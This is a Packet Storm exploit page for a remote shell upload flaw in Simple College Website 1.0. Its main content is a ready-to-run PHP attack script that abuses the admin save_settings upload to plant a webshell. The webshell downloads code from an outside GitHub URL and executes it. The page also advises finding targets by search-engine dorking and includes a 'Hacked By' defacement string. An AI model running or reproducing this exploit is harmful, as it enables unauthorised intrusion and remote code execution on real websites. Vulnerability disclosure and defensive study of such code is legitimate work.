what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Simple College Website 1.0 Shell Upload

Simple College Website 1.0 Shell Upload
Posted Sep 27, 2024
Authored by indoushka

Simple College Website version 1.0 suffers from a remote shell upload vulnerability.

tags | exploit, remote, shell
SHA-256 | 9743abd528fa884cba34b2d978d020f289c933601ad38b93dad5abca4a9f1f59

Simple College Website 1.0 Shell Upload

Change Mirror Download
=============================================================================================================================================
| # Title : Simple College Website 1.0 code injection Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 129.0.1 (64 bits) |
| # Vendor : https://www.sourcecodester.com/php/14548/simple-college-website-using-htmlphpmysqli-source-code.html |
=============================================================================================================================================

poc :

[+] Dorking İn Google Or Other Search Enggine.

[+] This payload injects php code of your choice into an SHELL.php file.

[+] Line 28
Line 37

[+] change the path of the script folder.

[+] save payload as poc.php

[+] usage from cmd : C:\www\test>php 1.php 127.0.0.1

[+] payload :
<?php

function file_upload($target_ip) {
$file_name = "indoushka.php";
$webshell_payload = "<?php
\$url = 'https://raw.githubusercontent.com/indoushka/txt/main/indoushka.txt';
\$ch = curl_init();
curl_setopt(\$ch, CURLOPT_URL, \$url);
curl_setopt(\$ch, CURLOPT_RETURNTRANSFER, true);
\$output = curl_exec(\$ch);
curl_close(\$ch);
if (\$output) {
include 'data://text/plain;base64,' . base64_encode(\$output);
}
?>";

$post_fields = array(

'name' => 'Hacked By Indoushka',
'email' => 'indoushka4ever@gmail.com',
'contact' => '00213771818860',
'img' => new CURLFile('data://text/plain;base64,' . base64_encode($webshell_payload), 'application/x-php', $file_name),

'qty' => '1'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://$target_ip/college_website/admin/ajax.php?action=save_settings");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

$response = curl_exec($ch);
curl_close($ch);

echo "(+) Shell uploaded successfully.\n";
echo "(+) Access the shell at: http://$target_ip/college_website/admin/assets/uploads/\n";
}

if ($argc != 2) {
echo "(+) Usage: php " . $argv[0] . " <target ip>\n";
echo "(+) Example: php " . $argv[0] . " 10.0.0.1\n";
exit(-1);
}

$target_ip = $argv[1];
file_upload($target_ip);


Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    38 Files
  • 24
    Sep 24th
    65 Files
  • 25
    Sep 25th
    24 Files
  • 26
    Sep 26th
    26 Files
  • 27
    Sep 27th
    39 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close